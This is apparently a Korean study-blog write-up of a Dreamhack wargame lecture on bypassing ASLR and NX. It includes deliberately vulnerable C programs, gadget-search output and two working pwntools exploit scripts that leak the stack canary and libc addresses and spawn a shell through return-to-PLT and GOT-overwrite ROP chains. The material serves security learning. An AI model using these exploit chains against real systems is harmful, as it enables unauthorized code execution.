TIL : Bypass NX, ASLR - RTL, ROP ๐Ÿ˜ตโ€๐Ÿ’ซ

https://dreamhack.io/lecture/courses/85

ASLR

Address Space Layout Randomization(ASLR)์€ binary๊ฐ€ ์‹คํ–‰๋  ๋•Œ๋งˆ๋‹ค stack, heap, shared library ๋“ฑ์„ random address์— ํ• ๋‹นํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด๋‹ค.

ASLR์˜ ํŠน์ง•

์•„๋ž˜์˜ ์ฝ”๋“œ๋กœ VAS ์ƒ์˜ ์—ฌ๋Ÿฌ ์˜์—ญ์˜ address๋ฅผ ์ถœ๋ ฅํ•ด๋ณด์ž.

#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
  char buf_stack[0x10];                   // ์Šคํƒ ๋ฒ„ํผ
  char *buf_heap = (char *)malloc(0x10);  // ํž™ ๋ฒ„ํผ
  printf("buf_stack addr: %p\n", buf_stack);
  printf("buf_heap addr: %p\n", buf_heap);
  printf("libc_base addr: %p\n", *(void **)dlopen("libc.so.6", RTLD_LAZY));  // ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ
  printf("printf addr: %p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "printf"));  // ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ
  printf("main addr: %p\n", main);  // ์ฝ”๋“œ ์˜์—ญ์˜ ํ•จ์ˆ˜ ์ฃผ์†Œ
}

stack์˜ buf_stack, heap์˜ buf_heap, library ํ•จ์ˆ˜ printf, code segment์˜ main, ๊ทธ๋ฆฌ๊ณ  library๊ฐ€ mapping๋œ ์ฃผ์†Œ libc_base๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

$ ./addr
buf_stack addr: 0x7ffcd3fcffc0
buf_heap addr: 0xb97260
libc_base addr: 0x7fd7504cd000
printf addr: 0x7fd750531f00
main addr: 0x400667
$ ./addr
buf_stack addr: 0x7ffe4c661f90
buf_heap addr: 0x176d260
libc_base addr: 0x7ffad9e1b000
printf addr: 0x7ffad9e7ff00
main addr: 0x400667
$ ./addr
buf_stack addr: 0x7ffcf2386d80
buf_heap addr: 0x840260
libc_base addr: 0x7fed2664b000
printf addr: 0x7fed266aff00
main addr: 0x400667
  • Code segment์˜ main์„ ์ œ์™ธํ•œ ๋‹ค๋ฅธ ์ฃผ์†Œ๋“ค์€ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ๋ณ€๊ฒฝ๋œ๋‹ค.
  • printf address์˜ ํ•˜์œ„ 12 bit ๊ฐ’์€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋Š”๋‹ค. Linux๋Š” ASLR์ด ์ ์šฉ๋  ๋•Œ file์„ page ๋‹จ์œ„๋กœ random address์— mapํ•œ๋‹ค. ๋”ฐ๋ผ์„œ page์˜ ํฌ๊ธฐ์ธ 12 bit ์ดํ•˜๋กœ๋Š” ์ฃผ์†Œ๊ฐ€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋Š”๋‹ค.
  • libc_base์™€ printf์˜ ์ฃผ์†Œ ์ฐจ์ด๋Š” ์ผ์ •ํ•˜๋‹ค. ASLR์ด ์ ์šฉ๋˜๋”๋ผ๋„ library file์„ ๊ทธ๋Œ€๋กœ mapํ•˜๊ธฐ ๋•Œ๋ฌธ์— mapping๋œ library์˜ base ์ฃผ์†Œ๋กœ๋ถ€ํ„ฐ library์˜ symbol๋“ค๊นŒ์ง€์˜ offset์€ ํ•ญ์ƒ ์ผ์ •ํ•˜๋‹ค.

NX

No-eXecute(NX)๋Š” ์‹คํ–‰์— ์‚ฌ์šฉ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ๊ณผ ์“ฐ๊ธฐ์— ์‚ฌ์šฉ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๋ถ„๋ฆฌํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด๋‹ค. Linux์—์„œ NX๊ฐ€ ์ ์šฉ๋œ binary์—๋Š” code ์˜์—ญ์„ ์ œ์™ธํ•œ ๋‹ค๋ฅธ ์˜์—ญ๋“ค์€ ์‹คํ–‰ ๊ถŒํ•œ์„ ๊ฐ–์ง€ ์•Š๋Š”๋‹ค.

Return to Library (RTL)

NX๋กœ ์ธํ•ด buffer ์•ˆ์— ์ฃผ์ž…ํ•œ shellcode๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†์Œ โ†’ Return address๋ฅผ ์‹คํ–‰ ๊ถŒํ•œ์ด ์žˆ๋Š” binary์˜ code ์˜์—ญ ํ˜น์€ binary๊ฐ€ ์ฐธ์กฐํ•˜๋Š” library์˜ code ์˜์—ญ์œผ๋กœ ๋ณ€๊ฒฝํ•œ๋‹ค.

#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}

โ€œ/bin/shโ€

ASLR์ด ์ ์šฉ๋˜์–ด๋„ PIE๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์œผ๋ฉด code segment์™€ data segment์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •๋˜๋ฏ€๋กœ ์ฝ”๋“œ ๋‚ด์˜ binsh์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •๋˜์–ด ์žˆ๋‹ค.

system์˜ PLT ํ™œ์šฉํ•˜๊ธฐ (Return to PLT)

PLT์— ์–ด๋–ค library ํ•จ์ˆ˜๊ฐ€ ๋“ฑ๋ก๋˜์–ด ์žˆ๋‹ค๋ฉด ๊ทธ ํ•จ์ˆ˜์˜ PLT entry๋ฅผ ์‹คํ–‰ํ•จ์œผ๋กœ์จ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

ASLR์ด ๊ฑธ๋ ค ์žˆ์–ด๋„ PIE๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š๋‹ค๋ฉด PLT์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •๋˜๋ฏ€๋กœ, library์˜ base address๋ฅผ ๋ชฐ๋ผ๋„ ์ด๋ฅผ ํ†ตํ•ด library function์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. โ†’ Return to PLT

rdi๋ฅผ โ€œ/bin/shโ€์˜ ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜๊ณ , system์˜ PLT๋ฅผ ํ™œ์šฉํ•˜์—ฌ system์„ ์‹คํ–‰ํ•œ๋‹ค๋ฉด (system(โ€/bin/shโ€)) shell์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

system ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ๋•Œ stack์€ ๋ฐ˜๋“œ์‹œ 0x10 ๋‹จ์œ„๋กœ ์ •๋ ฌ๋˜์–ด ์žˆ์–ด์•ผ ํ•œ๋‹ค. system ๋‚ด์˜ movaps instruction์€ stack์ด 0x10 ๋‹จ์œ„๋กœ ์ •๋ ฌ๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด segmentation fault๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค.

Return gadget

Return gadget์€ ret์œผ๋กœ ๋๋‚˜๋Š” assembly code ์กฐ๊ฐ์„ ์˜๋ฏธํ•œ๋‹ค.

NX๋กœ ์ธํ•ด shellcode๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, binary์˜ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ section ๋‚ด์—์„œ ์›ํ•˜๋Š” return gadget์„ ์ฐพ์€ ๋’ค ์ด๋ฅผ ์กฐํ•ฉํ•ด ํ”„๋กœ๊ทธ๋žจ์„ ์›ํ•˜๋Š” ๋Œ€๋กœ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค.

ROPgadget์„ ์ด์šฉํ•ด ์›ํ•˜๋Š” return gadget์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

system๊ณผ ๊ฐ™์€ movaps๋ฅผ ํฌํ•จํ•˜๋Š” ํ•จ์ˆ˜๋“ค์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด stack์˜ alignment๋ฅผ ๋งŒ์กฑ์‹œ์ผœ์•ผ ํ•  ๋• ret instruction ํ•˜๋‚˜๋งŒ์œผ๋กœ ์ด๋ฃจ์–ด์ง„ ์กฐ๊ฐ์„ stack์— ์ง‘์–ด๋„ฃ์œผ๋ฉด ๋œ๋‹ค. (๋ฐ”๋กœ stack ์ƒ์˜ ๋‹ค์Œ instruction์œผ๋กœ ์ด๋™ํ•จ)

Exploit

from pwn import *

p = process("./rtl")
e = ELF("./rtl")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print("canary", hex(cnry))

# [2] Exploit
system_plt = e.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
payload += p64(ret)  # align stack to prevent errors caused by movaps
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system_plt)

p.sendafter("Buf: ", payload)
p.interactive()
  • canary๋ฅผ ์–ป๋Š” ๊ณผ์ •์€ ์ƒ๋žต.
  • binsh๋Š” gdb๋ฅผ ์ด์šฉํ•ด์„œ, pop_rdi์™€ ret๋Š” ROPgadget๋ฅผ ์ด์šฉํ•ด์„œ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.
  • payload๋Š” rdi์— bisnh๋ฅผ ๋„ฃ๊ณ , system์˜ PLT entry๋ฅผ ์ด์šฉํ•ด system์„ ์‹คํ–‰ํ•˜๋„๋ก ๊ตฌ์„ฑํ•œ๋‹ค.

Return Oriented Programming (ROP)

ROP๋Š” ๋‹ค์ˆ˜์˜ return gadget์„ ์—ฐ๊ฒฐํ•ด์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ๋งํ•œ๋‹ค.

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}

Vulnerability Scanning

  • Canary๋ฅผ ์ฒซ ๋ฒˆ์งธ read๋ฅผ ์ด์šฉํ•ด ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.
  • system ํ•จ์ˆ˜๊ฐ€ binary์— ํฌํ•จ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ๊ณ„์‚ฐํ•ด์•ผ ํ•œ๋‹ค. (ํ›„์ˆ )
  • "/bin/sh" string๋„ binary์— ํฌํ•จ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ด๋ฅผ ์ง์ ‘ buffer์— ์ ๋˜๊ฐ€, libc.so.6์— ํฌํ•จ๋œ ๋ฌธ์ž์—ด์„ ํ™œ์šฉํ•ด์•ผ ํ•œ๋‹ค.

      pwndbg> search /bin/sh
      libc-2.27.so    0x7ffff7b980fa 0x68732f6e69622f /* '/bin/sh' */
    
  • ๋‘ ๋ฒˆ์งธ read๋ฅผ ํ†ตํ•ด return gadget๋“ค์„ stack์— ์ง‘์–ด ๋„ฃ์–ด program์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค.

system์˜ address ๊ณ„์‚ฐํ•˜๊ธฐ

system์€ libc.so.6์— ์ •์˜๋˜์–ด ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น library์—๋Š” ์ด binary๊ฐ€ callํ•˜๋Š” read, puts, printf๋„ ํฌํ•จ๋œ๋‹ค. library file์€ memory์— map๋  ๋•Œ ์ „์ฒด๊ฐ€ map๋˜๋ฏ€๋กœ system๋„ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค๊ณผ ํ•จ๊ป˜ process memory์— ์ €์žฅ๋œ๋‹ค.

Binary๊ฐ€ system์„ ์ง์ ‘ callํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— system์ด GOT์—๋Š” ๋“ฑ๋ก๋˜์ง€ ์•Š์ง€๋งŒ, read, puts, printf๊ฐ€ GOT์— ๋“ฑ๋ก๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ์ด๋“ค์˜ GOT๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋ฏธ๋ฆฌ ์•Œ๋ ค์ง„ ํ•จ์ˆ˜๋“ค ๊ฐ„์˜ address ์ฐจ์ด๋ฅผ ์ด์šฉํ•ด system์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

libc์˜ version์— ๋”ฐ๋ฅธ ํ•จ์ˆ˜๋“ค ๊ฐ„์˜ offset์€ https://libc.nullbyte.cat/์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค:

  1. ์šฐ์„  return gadget์„ ์ด์šฉํ•ด binary๊ฐ€ callํ•œ ํ•จ์ˆ˜์˜ GOT entry๋ฅผ ์ถœ๋ ฅํ•˜๋ฉด, ์ด ๊ฐ’์˜ ๋งˆ์ง€๋ง‰ 1.5 byte๋ฅผ ์ด์šฉํ•ด libc์˜ version์„ ํŠน์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. (ASLR์ด ์ ์šฉ๋˜์–ด๋„ ๋งˆ์ง€๋ง‰ 1.5 byte๋Š” ๋ณ€ํ•˜์ง€ ์•Š์Œ)

    ์˜ˆ๋ฅผ ๋“ค์–ด, read์˜ address๊ฐ€ 0x7f4ff43e4140์ด๋ผ๋ฉด ๋งˆ์ง€๋ง‰ 1.5 byte์ธ 0x140์„ ์ž…๋ ฅํ•˜๋ฉด ๋œ๋‹ค.

  2. ํ•ด๋‹นํ•˜๋Š” libc๋ฅผ ์ฐพ์•„๋‚ด ๊ฐ ํ•จ์ˆ˜๋“ค ๊ฐ„์˜ offset์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜์˜ ์‚ฌ์ง„์—์„œ read์™€ system์˜ address ์ฐจ์ด๋Š” 0xc0bf0์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

Exploit

  1. ํ”„๋กœ๊ทธ๋žจ์ด puts(read_got)๋ฅผ ์‹คํ–‰ํ•˜์—ฌ read์˜ address๋ฅผ ์ถœ๋ ฅํ•˜๊ฒŒ ํ•œ๋‹ค.
  2. ์ถœ๋ ฅํ•œ read์˜ address๋ฅผ recvํ•œ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด system์˜ address๋ฅผ ๊ณ„์‚ฐํ•œ๋‹ค.
  3. ํ”„๋กœ๊ทธ๋žจ์ด read(0, read_got, 0x10)์„ ์‹คํ–‰ํ•˜์—ฌ ๊ณ„์‚ฐํ•œ system์˜ address๋กœ read์˜ GOT entry๋ฅผ ๋ฎ์–ด ์“ฐ๊ฒŒ ํ•œ๋‹ค.
  4. read("/bin/sh")๋ฅผ ์‹คํ–‰ํ•˜๋ฉด read์˜ GOT entry๊ฐ€ system์˜ ์ฃผ์†Œ๋กœ ์ˆ˜์ •๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— system("/bin/sh")๊ฐ€ ์‹คํ–‰๋œ๋‹ค.
from pwn import *

#p = process("./rop")
p = remote("host3.dreamhack.games", 9019)

e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

buf = b"A"*(0x40-0x8+1)
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00" + p.recvn(7))
#print(hex(cnry))

read_plt = e.plt["read"]
read_got = e.got["read"]
puts_plt = e.plt["puts"]
pop_rdi = 0x00000000004007f3
pop_rsi_pop_r15 = 0x00000000004007f1
ret = 0x000000000040055e

payload = b"A"*(0x40-0x8) + p64(cnry) + b"A"*0x8

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(read_plt)

p.sendafter("Buf: ", payload)
read = u64(p.recvn(6) + b"\x00"*2)
print(hex(read))
#lb = read - libc.symbols["read"]
#system = lb + libc.symbols["system"]
system = read - 0xc0bf0
#print("read", hex(read))
#print("libc_base", hex(lb))
#print("system", hex(system))

p.send(p64(system) + b"/bin/sh\x00")

p.interactive()
  • read(0, read_got, 0x10)์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ return gadget์„ ์‚ฝ์ž…ํ•  ๋•Œ rdx์˜ ๊ฐ’ ์—ญ์‹œ ์ˆ˜์ •ํ•ด์ค˜์•ผ ํ•˜์ง€๋งŒ ์ผ๋ฐ˜์ ์œผ๋กœ rdx์™€ ๊ด€๋ จ๋œ gadget์€ ์ฐพ๊ธฐ ์–ด๋ ต๋‹ค. ์ด๋Ÿด ๋•Œ๋Š” libc_csu_init gadget์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ libc์˜ code gadget์„ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค.

    ์ด ๋ฌธ์ œ์—์„œ๋Š” read์˜ GOT๋ฅผ ์ฝ์€ ๋’ค rdx ๊ฐ’์ด ๋งค์šฐ ํฌ๊ฒŒ ์„ค์ •๋˜๋ฏ€๋กœ rdx๋ฅผ ๋”ฐ๋กœ ์„ค์ •ํ•ด์ฃผ์ง€ ์•Š์•„๋„ ๊ดœ์ฐฎ๋‹ค. (read์˜ ์„ธ ๋ฒˆ์งธ argument๋Š” ์ฝ์–ด๋“ค์ด๋ ค๋Š” ๊ฐ’์˜ ํฌ๊ธฐ์ด๊ธฐ ๋•Œ๋ฌธ) ๊ทธ๋Ÿฌ๋‚˜ ์ด ๊ฒฝ์šฐ ๋ชจ๋“  ์‹คํ–‰์—์„œ exploit์ด ์„ฑ๊ณตํ•˜์ง€ ์•Š์„ ์ˆ˜๋„ ์žˆ๋‹ค.

  • libc์˜ base์ธ lb๋ฅผ read - libc.symbols["read"]๋กœ ๊ณ„์‚ฐํ•˜์—ฌ system์˜ address๋ฅผ ์ฐพ์„ ์ˆ˜๋„ ์žˆ์ง€๋งŒ, ์ด ๊ฒฝ์šฐ server๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” libc์˜ version์ด ๋‹ค๋ฅผ ๊ฒฝ์šฐ exploit์ด ์‹คํŒจํ•  ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ์œ„์—์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด libc์˜ version์„ ์ฒดํฌํ•˜์—ฌ ๋ฏธ๋ฆฌ ํ•จ์ˆ˜ ๊ฐ„์˜ offset์„ ์•Œ์•„๋‘๋Š” ๊ฒƒ์ด ์ข‹๋‹ค.

Leave a comment